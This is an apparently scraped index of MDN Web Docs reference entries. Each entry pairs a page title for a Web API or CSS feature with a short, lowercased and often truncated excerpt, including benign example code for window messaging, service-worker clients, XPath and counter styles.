syntax var issecure = window.issecurecontext examples feature detection you can use feature detection to check whether they are in a secure context or not by using the issecurecontext boolean which is exposed on the global scope.
Window.menubar - Web APIs
WebAPIWindowmenubar
the window.menubar property returns the menubar object, whose visibility can be checked.
Window: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script sends a message to a different browsing context, such as another <iframe>, using code like this: const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const windowmessagebutton = document.queryselector('#window-message'); windowmessagebutton.addeventlistener('click', () => { targetframe.postmessage('hello there', targetorigin); }); the receiver can listen for the message using addeventlistener() with code like this: window.addeventl...
Window.mozInnerScreenX - Web APIs
specification not part of any w3c technical specification or recommendation.
Window.mozInnerScreenY - Web APIs
specification not part of any w3c technical specification or recommendation.
Window: offline event - Web APIs
the offline event of the window interface is fired when the browser has lost access to the network and the value of navigator.online switches to false.
Window.onappinstalled - Web APIs
the onappinstalled attribute of the window object serves as an event handler for the appinstalled event, which is dispatched once the web application is successfully installed as a progressive web app.
Window.onbeforeinstallprompt - Web APIs
the window.onbeforeinstallprompt property is an event handler for processing a beforeinstallprompt, which is dispatched on devices when a user is about to be prompted to "install" a web application.
Window.ondevicelight - Web APIs
these events occur when the device's light level sensor detects a change in the intensity of the ambient light level.
window.ondeviceorientation - Web APIs
summary an event handler for the deviceorientation event, which contains information about a relative device orientation change.
Window.ondeviceorientationabsolute - Web APIs
summary an event handler for the deviceorientationabsolute event containing information about an absolute device orientation change.
Window.ondragdrop - Web APIs
WebAPIWindowondragdrop
there may also be large incompatibilities between implementations and the behavior may change in the future.
Window.onpaint - Web APIs
WebAPIWindowonpaint
this event occurs after the load event for a window, and reoccurs each time the window needs to be re-rendered, such as when another window obscures it and is then cleared away.
Obsolete features - Web APIs
in addition to the personal toolbar, mozilla browser will render the site navigation bar if such toolbar is visible, present in the parent window.
Window.opener - Web APIs
WebAPIWindowopener
in modern browsers, a rel="noopener noreferrer" attribute on the originating <a> element will prevent the window.opener reference from being set, in which case this property will return null.
Window: pagehide event - Web APIs
bubbles no cancelable no interface pagetransitionevent event handler property onpagehide examples in this example, an event handler is established to watch for pagehide events and to perform special handling if the page is being persisted for possible reuse.
Window.performance - Web APIs
the window interface's performance property returns a performance object, which can be used to gather performance information about the current document.
Window.pkcs11 - Web APIs
WebAPIWindowpkcs11
summary returns the pkcs11 object, which is used to install drivers and other software associated with the pkcs11 protocol.
Window: rejectionhandled event - Web APIs
this can be used in debugging and for general application resiliency, in tandem with the unhandledrejection event, which is sent when a promise is rejected but there is no hander for the rejection.
Window.screen - Web APIs
WebAPIWindowscreen
the screen object, implementing the screen interface, is a special object for inspecting properties of the screen on which the current window is being rendered.
Window.screenLeft - Web APIs
WebAPIWindowscreenLeft
examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle.
Window.screenTop - Web APIs
WebAPIWindowscreenTop
examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle.
Window.screenX - Web APIs
WebAPIWindowscreenX
examples in our screenleft-screentop (source code) example, you'll see a canvas onto which has been drawn a circle.
Window.screenY - Web APIs
WebAPIWindowscreenY
examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle.
Window.scrollMaxX - Web APIs
WebAPIWindowscrollMaxX
example // scroll to right edge of the page let maxx = window.scrollmaxx; window.scrollto(maxx, 0); notes do not use this property to get the total document width, which is not equivalent to window.innerwidth + window.scrollmaxx, because window.innerwidth includes the width of any visible vertical scrollbar, thus the result would exceed the total document width by the width of any visible vertical scrollbar.
Window.scrollMaxY - Web APIs
WebAPIWindowscrollMaxY
example // scroll to the bottom of the page let maxy = window.scrollmaxy; window.scrollto(0, maxy); notes do not use this property to get the total document height, which is not equivalent to window.innerheight + window.scrollmaxy, because window.innerheight includes the width of any visible horizontal scrollbar, thus the result would exceed the total document height by the width of any visible horizontal scrollbar.
Window.scrollbars - Web APIs
WebAPIWindowscrollbars
the window.scrollbars property returns the scrollbars object, whose visibility can be checked.
Window.self - Web APIs
WebAPIWindowself
the advantage of the standalone notation is that a similar notation exists for non-window contexts, such as in web workers.
Window: transitionend event - Web APIs
in the case where a transition is removed before completion, such as if the transition-property is removed or display is set to none, then the event will not be generated.
WindowClient.focus() - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe defin...
WindowClient.focused - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if(!client.focused) return client.focus(); } } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification s...
WindowClient.visibilityState - Web APIs
example event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (let i = 0; i < clientlist.length; i++) { let client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if (client.visibilitystate === 'hidden') return client.focus(); } } } if (clients.openwindow) { return clients.openwindow('/'); } })); }); specifications specification status comment service ...
WindowClient - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { client.focus(); break; } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment servic...
WindowEventHandlers.onafterprint - Web APIs
the beforeprint and afterprint events allow pages to change their content before printing starts (perhaps to remove a banner, for example) and then revert those changes after printing has completed.
WindowOrWorkerGlobalScope.clearTimeout() - Web APIs
it's worth noting that the pool of ids used by settimeout() and setinterval() are shared, which means you can technically use cleartimeout() and clearinterval() interchangeably.
WindowOrWorkerGlobalScope.origin - Web APIs
examples executed from inside a worker script, the following snippet will log the worker's global scope's origin to the console each time it receives a message onmessage = function() { console.log(self.origin); }; if the origin is not a scheme/host/port tuple (say you are trying to run it locally, i.e.
WindowProxy - Web APIs
when a browsing context is navigated, the window object its windowproxy wraps is changed.
Worker.terminate() - Web APIs
WebAPIWorkerterminate
example the following code snippet shows creation of a worker object using the worker() constructor, which is then immediately terminated.
WorkerGlobalScope.console - Web APIs
so for example you could call console.log('test'); inside a worker (which would basically be the equivalent of self.console.log('test');, as these are being called on the worker scope, which can be referenced with workerglobalscope.self), to return a test message out to the browser console.
WorkerGlobalScope.importScripts() - Web APIs
the importscripts() method of the workerglobalscope interface synchronously imports one or more scripts into the worker's scope.
WorkerNavigator.connection - Web APIs
the workernavigator.connection read-only property returns a networkinformation object containing information about the system's connection, such as the current bandwidth of the user's device or whether the connection is metered.
WorkerNavigator.locks - Web APIs
the locks read-only property of the workernavigator interface returns a lockmanager object which provides methods for requesting a new lock object and querying for an existing lock object.
Worklet - Web APIs
WebAPIWorklet
chrome: main thread gecko: paint thread css painting api audioworklet for audio processing with custom audionodes.
WritableStream.locked - Web APIs
examples const writablestream = new writablestream({ write(chunk) { ...
WritableStreamDefaultController.error() - Web APIs
examples const writablestream = new writablestream({ start(controller) { // do stuff with controller // error stream if necessary controller.error('my error is broken'); }, write(chunk, controller) { ...
WritableStreamDefaultController - Web APIs
examples const writablestream = new writablestream({ start(controller) { // do stuff with controller // error stream if necessary controller.error('my stream is broken'); }, write(chunk, controller) { ...
WritableStreamDefaultWriter.desiredSize - Web APIs
examples const writablestream = new writablestream({ write(chunk) { ...
WritableStreamDefaultWriter.releaseLock() - Web APIs
examples const writablestream = new writablestream({ write(chunk) { ...
XDomainRequest.onerror - Web APIs
an event handler which is called when an xdomainrequest encounters an error.
XDomainRequest.ontimeout - Web APIs
an event handler which is called when a pending xdomainrequest times out.
XDomainRequest.send() - Web APIs
sends an xdomainrequest which has previously been opened calling xdomainrequest.open().
XMLHttpRequest() - Web APIs
const request = new xmlhttprequest(paramsdictionary); parameters (non-standard) objparameters there are two flags you can set: mozanon boolean: setting this flag to true will cause the browser not to expose the origin and user credentials when fetching resources.
XMLHttpRequest.abort() - Web APIs
when a request is aborted, its readystate is changed to xmlhttprequest.unsent (0) and the request's status code is set to 0.
XMLHttpRequest.mozBackgroundRequest - Web APIs
in cases in where a security dialog (such as authentication or a bad certificate notification) would normally be shown, this request fails instead.
XMLHttpRequest.openRequest() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
XMLHttpRequest.overrideMimeType() - Web APIs
this may be used, for example, to force a stream to be treated and parsed as "text/xml", even if the server does not report it as such.
XMLHttpRequest.responseXML - Web APIs
if the responsetype is set to "document" and the request was made asynchronously, instead the response is parsed as "text/html".
XMLHttpRequest.setRequestHeader() - Web APIs
each time you call setrequestheader() after the first time you call it, the specified text is appended to the end of the existing header's content.
XMLHttpRequest.statusText - Web APIs
unlike xmlhttprequest.status which indicates a numerical status code, this property contains the text of the response status, such as "ok" or "not found".
XMLHttpRequest.upload - Web APIs
it is an opaque object, but because it's also an xmlhttprequesteventtarget, event listeners can be attached to track its process.
XMLHttpRequest.withCredentials - Web APIs
the xmlhttprequest.withcredentials property is a boolean that indicates whether or not cross-site access-control requests should be made using credentials such as cookies, authorization headers or tls client certificates.
XMLHttpRequestEventTarget.onabort - Web APIs
the xmlhttprequesteventtarget.onabort is the function called when an xmlhttprequest transaction is aborted, such as when the xmlhttprequest.abort() function is called.
XPathExpression - Web APIs
this is useful when an expression will be reused in an application, because it is just compiled once and all namespace prefixes which occur within the expression are preresolved.
XPathResult.iterateNext() - Web APIs
html <div>xpath example</div> <div>tag names of the matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); var node = null; var tagnames = []; while(node = result.iteratenext()) { tagnames.push(node.localname); } document.queryselector("output").textcontent = tagnames.join(", "); result specifications specification status comment ...
XPathResult.singleNodeValue - Web APIs
the read-only singlenodevalue property of the xpathresult interface returns a node value or null in case no node was matched of a result with xpathresult.resulttype being any_unordered_node_type or first_ordered_node_type.
XPathResult.snapshotItem() - Web APIs
html <div>xpath example</div> <div>tag names of the matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); var node = null; var tagnames = []; for(var i = 0; i < result.snapshotlength; i++) { var node = result.snapshotitem(i); tagnames.push(node.localname); } document.queryselector("output").textcontent = tagnames.join(", "); res...
XPathResult.snapshotLength - Web APIs
html <div>xpath example</div> <div>number of matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpath...
XREye - Web APIs
WebAPIXREye
the xreye enumerated type is used to identify which eye a particular xrview represents: left or right; or, if the view doesn't represent a single eye, the value may be none.
XRFrame.getViewerPose() - Web APIs
the getviewerpose() method, a member of the xrframe interface, returns a xrviewerpose object which describes the viewer's pose (position and orientation) relative to the specified reference space.
XRFrame.session - Web APIs
WebAPIXRFramesession
syntax var xrsession = xrframe.session; value a xrsession object representing the webxr session for which this xrframe describes the object positions and orientations.
XRInputSource.gripSpace - Web APIs
for (let source in xrsession.inputsources) { if (source.gripspace) { let grippose = frame.getpose(source.gripspace, xrrefspace); if (grippose) { mydrawmeshusingtransform(controllermesh, grippose.transform.matrix); } } } for each input source which has a value for gripspace, this loop obtains the xrpose representing the position and orientation that are described by gripspace.
XRReferenceSpaceEvent.referenceSpace - Web APIs
the read-only xrreferencespaceevent property referencespace specifies the reference space which is the originator of the event.
XRRenderState.inlineVerticalFieldOfView - Web APIs
syntax var inlineverticalfieldofview = xrrenderstate.inlineverticalfieldofview; value a number for "inline" sessions, which represents the default field of view, and null for immersive sessions.
XRSession.end() - Web APIs
WebAPIXRSessionend
the end() method shuts down the xrsession on which it's called, returning a promise which resolves once the session has fully shut down.
XRSession: end event - Web APIs
an end event is fired at an xrsession object when the webxr session has ended, either because the web application has chosen to stop the session, or because the user agent terminated the session.
XRSession.onend - Web APIs
WebAPIXRSessiononend
the onend attribute of the xrsession object is the event handler for the end event, which is dispatched after the xr session ends and all related hardware-specific routines are completed.
XRSession.onselectend - Web APIs
the onselectend attribute of the xrsession object is the event handler for the selectend event, which is dispatched when user finishes making some sort of selection by releasing a trigger, touchpad, or button, finishes speaking a command, or makes a hand gesture.
XRSession.onselectstart - Web APIs
the onselectstart attribute of the xrsession object is the event handler for the selectstart event, which is dispatched when user starts making some sort of selection by pressing a trigger, touchpad, or button, speaking a command, or making a hand gesture.
XRSessionEventInit - Web APIs
properties session the xrsession to which the event is to be delivered.
XRSessionMode - Web APIs
important: the immersive-ar mode is defined by the webxr augmented reality module, which is not yet stable and should not be used other than for testing and experimentation.
XRView.projectionMatrix - Web APIs
the projection matrix for each eye's view is used to ensure that the correct area of the scene is presented to each eye in order to create a believable 3d scene without introducing discomfort for the user.
XRViewport.x - Web APIs
WebAPIXRViewportx
the read-only xrviewport interface's x property indicates the offset from the left edge of the destination surface (typically a xrwebgllayer to the left edge of the viewport within the surface into which webxr content is to be rendered.
XRViewport.y - Web APIs
WebAPIXRViewporty
the read-only xrviewport interface's y property indicates the offset from the bottom edge of the destination surface (typically a xrwebgllayer to the bottom edge of the viewport within the surface into which webxr content is to be rendered.
XRWebGLLayerInit.framebufferScaleFactor - Web APIs
you can determine the scaling factor that you would need to apply to match the default frame buffer resolution by using the xrwebgllayer.getnativeframebufferscalefactor() static function.
Resources - Web APIs
at ibm developerworks xslt tutorial at zvon.org xpath tutorial at zvon.org using the mozilla javascript interface to do xsl transformations at mozilla.org mozilla.org's xslt project page, which includes a frequently encountered issues section.
msGetPropertyEnabled - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
msGetRegionContent - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
msPutPropertyEnabled - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
ARIA guides - Accessibility
accessible rich internet applications (aria) defines ways to make the web more accessible to people with disabilities.
overview - Accessibility
general resources dhtml style guide provides keyboard interaction recommendations wai-aria authoring practices guide checkbox aria toggle button and tri-state checkbox examples (from "the paciello group blog") aria example checkbox widgets from the university of illinois menu using wai-aria roles and states with the yui menu control slider from the paciello group blog: aria slider, part one, part two, part threet (example) creating an accessible, internationalized dojo rating widget tabs enhancing tabview accessibility with wai-aria roles and states, from the yui blog enhancing the jquery ui tabs accordingly to wcag 2.0 and...
-moz-user-focus - CSS: Cascading Style Sheets
/* keyword values */ -moz-user-focus: normal; -moz-user-focus: ignore; /* global values */ -moz-user-focus: inherit; -moz-user-focus: initial; -moz-user-focus: unset; by setting its value to ignore, you can disable focusing the element, which means that the user will not be able to activate the element.
-webkit-mask-composite - CSS: Cascading Style Sheets
the -webkit-mask-composite property specifies the manner in which multiple mask images applied to the same element are composited with one another.
-webkit-print-color-adjust - CSS: Cascading Style Sheets
exact background colors and images of the element to which this rule is applied are always printed, user's print settings are overridden.
-webkit-tap-highlight-color - CSS: Cascading Style Sheets
the highlighting indicates to the user that their tap is being successfully recognized, and indicates which element they're tapping on.
:-moz-broken - CSS: Cascading Style Sheets
the :-moz-broken css pseudo-class is a mozilla extension that matches elements representing broken image links.
:-moz-drag-over - CSS: Cascading Style Sheets
the :-moz-drag-over css pseudo-class is a mozilla extension that matches an element when a dragover event is called on it.
:-moz-handler-blocked - CSS: Cascading Style Sheets
the :-moz-handler-blocked css pseudo-class is a mozilla extension that matches elements that can't be displayed because their handlers have been blocked.
:-moz-handler-crashed - CSS: Cascading Style Sheets
the :-moz-handler-crashed css pseudo-class is a mozilla extension that matches elements that can't be displayed because the plugin responsible for drawing them has crashed.
:-moz-handler-disabled - CSS: Cascading Style Sheets
the :-moz-handler-disabled css pseudo-class is a mozilla extension that matches elements that can't be displayed because their handlers have been disabled by the user.
:-moz-suppressed - CSS: Cascading Style Sheets
the :-moz-suppressed css pseudo-class is a mozilla extension that matches elements representing images that were suppressed because loading images from the specified site has been blocked.
:-moz-user-disabled - CSS: Cascading Style Sheets
the :-moz-user-disabled css pseudo-class is a mozilla extension that matches elements representing images that were not loaded because images have been entirely disabled by the user's preferences.
:-webkit-autofill - CSS: Cascading Style Sheets
the :-webkit-autofill css pseudo-class matches when an <input> element has its value autofilled by the browser.
::-moz-focus-inner - CSS: Cascading Style Sheets
note: using ::-moz-focus-inner with anything than the buttons that support it doesn't match anything and has no effect.
::-moz-range-thumb - CSS: Cascading Style Sheets
note: using ::-moz-range-thumb with anything but an <input type="range"> doesn't match anything and has no effect.
::-webkit-inner-spin-button - CSS: Cascading Style Sheets
changing the cursor in the spin controls in this example, the css cursor is changed to pointer whenever the cursor is positioned over the inner part of the input's spin controls.
::-webkit-meter-inner-element - CSS: Cascading Style Sheets
examples this will only work in webkit and blink-based browsers, such as safari, chrome, and chromium-based versions of edge.
::-webkit-progress-bar - CSS: Cascading Style Sheets
it is a child of the ::-webkit-progress-inner-element pseudo-element and the parent of the ::-webkit-progress-value pseudo-element.
::-webkit-progress-value - CSS: Cascading Style Sheets
it is a child of the ::-webkit-progress-bar pseudo-element.
::-webkit-scrollbar - CSS: Cascading Style Sheets
::-webkit-scrollbar is only available in blink- and webkit-based browsers (e.g., chrome, edge, opera, safari, all browsers on ios, and others).
::-webkit-slider-runnable-track - CSS: Cascading Style Sheets
the ::-webkit-slider-runnable-track css pseudo-element represents the "track" (the groove in which the indicator slides) of an <input type="range">.
:blank - CSS: Cascading Style Sheets
WebCSS:blank
note: the :blank selector is considered at risk, as the csswg keeps changing it.
:first-of-type - CSS: Cascading Style Sheets
working draft matching elements are not required to have a parent.
:focus-within - CSS: Cascading Style Sheets
in other words, it represents an element that is itself matched by the :focus pseudo-class or has a descendant that is matched by :focus.
:last-of-type - CSS: Cascading Style Sheets
working draft matching elements are not required to have a parent.
prefix - CSS: Cascading Style Sheets
e-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples adding a prefix to a counter html <ul class="index"> <li>the boy who lived</li> <li>the vanishing glass</li> <li>the letters from no one</li> <li>the keeper of the keys</li> <li>diagon alley</li> </ul> css @counter-style chapters { system: numeric; symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9"; prefix: 'chapter '; } .index { list-style: chapters; padding-left: 15ch; } result specifications specification status comment css counter styles level 3the definition of 'prefix' in that specification.
suffix - CSS: Cascading Style Sheets
<color-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting a suffix for a counter html <ul class="choices"> <li>one</li> <li>two</li> <li>three</li> <li>none of the above</li> </ul> css @counter-style options { system: fixed; symbols: a b c d; suffix: ") "; } .choices { list-style: options; } result specifications specification status comment css counter styles level 3the definition of 'suffix' in that specification.
font-display - CSS: Cascading Style Sheets
the timeline is divided into the three periods below which dictate the rendering behavior of any elements using the font face.
font-style - CSS: Cascading Style Sheets
for a particular font family, authors can download various font faces which correspond to the different styles of the same font family, and then use the font-style descriptor to explicitly specify the font face's style.
-ms-high-contrast - CSS: Cascading Style Sheets
examples the following declarations will match applications that are being displayed in high contrast mode with any color variation, a black-on-white color variation, and a white-on-black color variation, respectively.
-webkit-animation - CSS: Cascading Style Sheets
the -webkit-animation boolean css media feature is a chrome extension whose value is true if vendor-prefixed css animations are supported.
-webkit-transform-2d - CSS: Cascading Style Sheets
the -webkit-transform-2d boolean css media feature is a chrome extension whose value is true if vendor-prefixed css 2d transforms are supported.
-webkit-transform-3d - CSS: Cascading Style Sheets
the -webkit-transform-3d boolean css media feature is a chrome extension whose value is true if vendor-prefixed css 3d transforms are supported.
-webkit-transition - CSS: Cascading Style Sheets
the -webkit-transition boolean css media feature is a chrome extension whose value is true if the browsing context supports css transitions.
color-gamut - CSS: Cascading Style Sheets
syntax the color-gamut feature is specified as a keyword value chosen from the list below.
color - CSS: Cascading Style Sheets
WebCSS@mediacolor
candidate recommendation the value can now be negative, in which case it computes to false.
grid - CSS: Cascading Style Sheets
WebCSS@mediagrid
candidate recommendation no change.
inverted-colors - CSS: Cascading Style Sheets
syntax the inverted-colors feature is specified as a keyword value chosen from the list below.
light-level - CSS: Cascading Style Sheets
normal the device is used in a environment with a light level in the ideal range for the screen, and which does not necessitate any particular adjustment.
overflow-inline - CSS: Cascading Style Sheets
syntax the overflow-inline feature is specified as a keyword value chosen from the list below.
prefers-contrast - CSS: Cascading Style Sheets
user preferences various operating systems do support such preferences and user agents are likely to rely on the settings provided by the operating system.
prefers-reduced-motion - CSS: Cascading Style Sheets
changes to this preference take effect immediately.
prefers-reduced-transparency - CSS: Cascading Style Sheets
user preferences currently no user agent implements this feature, although various operating systems do support such preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating systems.
bleed - CSS: Cascading Style Sheets
WebCSS@pagebleed
<length> specifies by how far outward, in each direction, the bleed area extends past the page box.
user-zoom - CSS: Cascading Style Sheets
the user-zoom css descriptor controls whether or not the user can change the zoom factor of a document defined by @viewport.
width - CSS: Cascading Style Sheets
WebCSS@viewportwidth
formal definition related at-rule@viewportinitial valueas each of the properties of the shorthand:min-width: automax-width: nonepercentagesas each of the properties of the shorthand:min-width: refer to the width of the containing blockmax-width: refer to the width of the containing blockcomputed valueas each of the properties of the shorthand:min-width: the percentage as specified or the absolute lengthmax-width: the percentage as specified or the absolute l...
zoom - CSS: Cascading Style Sheets
WebCSS@viewportzoom
the user agent may use the size of canvas area on which the document is rendered to determine that factor.
Adjacent sibling combinator - CSS: Cascading Style Sheets
the adjacent sibling combinator (+) separates two selectors and matches the second element only if it immediately follows the first element, and both are children of the same parent element.
CSS Color - CSS: Cascading Style Sheets
WebCSSCSS Color
all color-related css properties are touched upon.
CSS Fragmentation - CSS: Cascading Style Sheets
each piece of the rendering for the element is called a fragment.
CSS Grid Layout - CSS: Cascading Style Sheets
for example, a grid container's child elements could position themselves so they actually overlap and layer, similar to css positioned elements.
Implementing image sprites in CSS - CSS: Cascading Style Sheets
rather than include each image as a separate image file, it is much more memory- and bandwidth-friendly to send them as a single image; using background position as a way to distinguish between individual images in the same image file, so the number of http requests is reduced.
CSS Images - CSS: Cascading Style Sheets
implementing image sprites in css describes the common technique grouping several images in one single document to save download requests and speed up the availability of a page.
CSS Lists - CSS: Cascading Style Sheets
reference properties list-style-image list-style-type list-style-position list-style guides consistent list indentation explains how to achieve consistent list indentation across different browsers.
CSS Logical Properties and Values - CSS: Cascading Style Sheets
inline logical properties and values use the abstract terms block and inline to describe the direction in which they flow.
CSS Miscellaneous - CSS: Cascading Style Sheets
specifications these properties are mostly unrelated to each other.
CSS Paged Media - CSS: Cascading Style Sheets
WebCSSCSS Pages
css paged media is a module of css that defines how page switches are handled.
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
<h4 id="one">...</h4> <p id="two">...</p> <div id="three">...</div> <a id="four">...</a> <em id="five">...</em> <a href="#one">first</a> <a href="#two">second</a> <a href="#three">third</a> <a href="#four">fourth</a> <a href="#five">fifth</a> conclusion in cases where a fragment identifier points to a portion of the document, readers may become confused about which part of the document they're supposed to be reading.
CSS Shapes - CSS: Cascading Style Sheets
this changes the length of the wrapping text's line boxes.
CSS Transitions - CSS: Cascading Style Sheets
this article describes each relevant css property and explains how they interact with each other.
CSS Writing Modes - CSS: Cascading Style Sheets
css writing modes is a css module that defines various international writing modes, such as left-to-right (e.g.
Column combinator - CSS: Cascading Style Sheets
it matches only those elements matched by the second selector that belong to the column elements matched by the first.
Comments - CSS: Cascading Style Sheets
WebCSSComments
/* comment */ examples /* a one-line comment */ /* a comment which stretches over several lines */ /* the comment below is used to disable specific styling */ /* span { color: blue; font-size: 1.5em; } */ notes the /* */ comment syntax is used for both single and multiline comments.
Questions about CSS - CSS: Cascading Style Sheets
WebCSSFAQ
since it's likely that different browsers will choose to implement css1 somewhat differently, the web page creator must test the page with different browsers.
General sibling combinator - CSS: Cascading Style Sheets
the general sibling combinator (~) separates two selectors and matches the second element only if it follows the first element (though not necessarily immediately), and both are children of the same parent element.
Pseudo-elements - CSS: Cascading Style Sheets
for example, ::first-line can be used to change the font of the first line of a paragraph.
Tools - CSS: Cascading Style Sheets
WebCSSTools
other tools css animation - stylie to check the device display information (helpful in responsive web design) - mydevice.io css menus - cssmenumaker.com a mighty, modern css linter that helps you enforce consistent conventions and avoid errors in your stylesheets - stylelint ...
Actual value - CSS: Cascading Style Sheets
next, the computed value is calculated according to the specification (for example, a span with position: absolute will have its computed display changed to block).
<angle> - CSS: Cascading Style Sheets
WebCSSangle
one full circle is 2π radians which approximates to 6.2832rad.
animation-duration - CSS: Cascading Style Sheets
a value of 0s, which is the default value, indicates that no animation should occur.
animation-fill-mode - CSS: Cascading Style Sheets
it demonstrates how, for an animation that runs for an infinite time, you can cause it to remain in its final state rather than reverting to the original state (which is the default).
animation-iteration-count - CSS: Cascading Style Sheets
if multiple values are specified, each time the animation is played the next value in the list is used, cycling back to the first value after the last one is used.
backdrop-filter - CSS: Cascading Style Sheets
the backdrop-filter css property lets you apply graphical effects such as blurring or color shifting to the area behind an element.
background-clip - CSS: Cascading Style Sheets
see "the backgrounds of special elements." note: for documents whose root element is an html element: if the computed value of background-image on the root element is none and its background-color is transparent, user agents must instead propagate the computed values of the background properties from that element’s first html <body> child element.
background-origin - CSS: Cascading Style Sheets
note that background-origin is ignored when background-attachment is fixed.
block-size - CSS: Cascading Style Sheets
a related property is inline-size, which defines the other dimension of the element.
border-end-end-radius - CSS: Cascading Style Sheets
the border-end-end-radius css property defines a logical border radius on an element, which maps to a physical border radius that depends on on the element's writing-mode, direction, and text-orientation.
border-end-start-radius - CSS: Cascading Style Sheets
the border-end-start-radius css property defines a logical border radius on an element, which maps to a physical border radius depending on the element's writing-mode, direction, and text-orientation.
border-image-source - CSS: Cascading Style Sheets
the border-image-slice property is used to divide the source image into regions, which are then dynamically applied to the final border image.
border-start-end-radius - CSS: Cascading Style Sheets
the border-start-end-radius css property defines a logical border radius on an element, which maps to a physical border radius depending on the element's writing-mode, direction, and text-orientation.
border-start-start-radius - CSS: Cascading Style Sheets
the border-start-start-radius css property defines a logical border radius on an element, which maps to a physical border radius that depends on the element's writing-mode, direction, and text-orientation.
bottom - CSS: Cascading Style Sheets
WebCSSbottom
inherit specifies that the value is the same as the computed value from its parent element (which might not be its containing block).
<display-legacy> - CSS: Cascading Style Sheets
syntax valid <display-legacy> values: inline-block the element generates a block element box that will be flowed with surrounding content as if it were a single inline box (behaving much like a replaced element would).
brightness() - CSS: Cascading Style Sheets
a value of 0% will create an image that is completely black, while a value of 100% leaves the input unchanged.
contrast() - CSS: Cascading Style Sheets
a value of 0% will create an image that is completely gray, while a value of 100% leaves the input unchanged.
drop-shadow() - CSS: Cascading Style Sheets
the box-shadow property creates a rectangular shadow behind an element's entire box, while the drop-shadow() filter function creates a shadow that conforms to the shape (alpha channel) of the image itself.
grayscale() - CSS: Cascading Style Sheets
a value of 100% is completely grayscale, while a value of 0% leaves the input unchanged.
invert() - CSS: Cascading Style Sheets
a value of 100% is completely inverted, while a value of 0% leaves the input unchanged.
opacity() - CSS: Cascading Style Sheets
a value of 0% is completely transparent, while a value of 100% leaves the input unchanged.
saturate() - CSS: Cascading Style Sheets
a value of 0% is completely unsaturated, while a value of 100% leaves the input unchanged.
sepia() - CSS: Cascading Style Sheets
a value of 100% is completely sepia, while a value of 0% leaves the input unchanged.
flex-flow - CSS: Cascading Style Sheets
WebCSSflex-flow
formal definition initial valueas each of the properties of the shorthand:flex-direction: rowflex-wrap: nowrapapplies toflex containersinheritednocomputed valueas each of the properties of the shorthand:flex-direction: as specifiedflex-wrap: as specifiedanimation typediscrete formal syntax <'flex-direction'> | <'flex-wrap'> examples setting column-reverse and wrap element { /* main-axis is the block direction with reversed main...
font-kerning - CSS: Cascading Style Sheets
in well-kerned fonts, this feature makes character spacing more uniform and pleasant to read than it would otherwise be.
font-optical-sizing - CSS: Cascading Style Sheets
you should see a difference in supporting browsers.</p> @font-face { src: url('amstelvaralpha-vf.ttf'); font-family:'amstelvar'; font-style: normal; } p { font-size: 36px; font-family: amstelvar; } .no-optical-sizing { font-optical-sizing: none; } note: the font referenced above — which includes optical sizing and is freely-licensed — is good for testing.
font-variant-ligatures - CSS: Cascading Style Sheets
the font-variant-ligatures css property controls which ligatures and contextual forms are used in textual content of the elements it applies to.
font-variant-numeric - CSS: Cascading Style Sheets
values normal this keyword leads to the deactivation of the use of such alternate glyphs.
<frequency-percentage> - CSS: Cascading Style Sheets
the pitch of a speaking voice, are not currently used in any css properties.
grid-template-areas - CSS: Cascading Style Sheets
<string>+ a row is created for every separate string listed, and a column is created for each cell in the string.
hanging-punctuation - CSS: Cascading Style Sheets
two-value syntax uses one of the following: first together with any one of last, allow-end, or force-end last together with any one of first, allow-end, or force-end three-value syntax uses one of the following: first, allow-end, and last first, force-end, and last values none no character hangs.
initial-letter - CSS: Cascading Style Sheets
formal definition initial valuenormalapplies to::first-letter pseudo-elements and inline-level first child of a block containerinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | [ <number> <integer>?
inline-size - CSS: Cascading Style Sheets
